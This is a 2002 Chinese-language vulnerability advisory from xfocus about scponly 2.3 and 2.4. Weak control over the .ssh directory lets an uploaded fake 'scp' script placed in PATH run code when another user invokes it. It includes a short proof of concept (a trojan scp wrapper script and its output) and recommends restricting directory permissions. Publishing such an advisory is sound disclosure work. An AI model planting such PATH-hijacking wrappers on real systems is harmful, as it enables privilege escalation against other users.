xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

SCPOnly SSH环境SHELL脱离漏洞


发布时间:2002-08-28
更新时间:2002-08-28
严重程度:
威胁程度:欺骗
错误类型:设计错误
利用方式:服务器模式

BUGTRAQ ID:5526

受影响系统
scponly scponly 2.3
scponly scponly 2.4
详细描述
scponly是免费开放源代码安全拷贝客户端,可使用在多种操作系统下。

默认安装的scponly没有充分对.ssh子目录进行很好的访问控制,远程用户如果可以上载任意文件到用户端目录,并使用伪造的scp或者sftp命令,当其他用户执行的时候,可以导致包含在伪造文件中的代码执行,如果高权限用户执行可以导致权限提升。

测试代码
如用户使用SCP在如下环境中:

# ssh environment
PATH=/home/myhomedir/:/usr/bin:/bin
#end

攻击者上载文件到用户目录中:

#!/bin/sh

echo "I'm a bad boy" > /tmp/exploit
/usr/bin/scp $@

# end

设置名为scp,当其他人执行的时候:

[root@restricted /tmp]
# ls -l
total 24
-rw-r--r-- 1 bonehead bonehead 14 Aug 19 22:46 exploit
[root@restricted /tmp]
# cat exploit
I'm a bad boy

解决方案
限制用户的目录权限。

相关信息
Derek D. Martin <ddm@pizzashack.org>.
参考:http://online.securityfocus.com/archive/1/288245
相关主页:http://www.sublimation.org/scponly/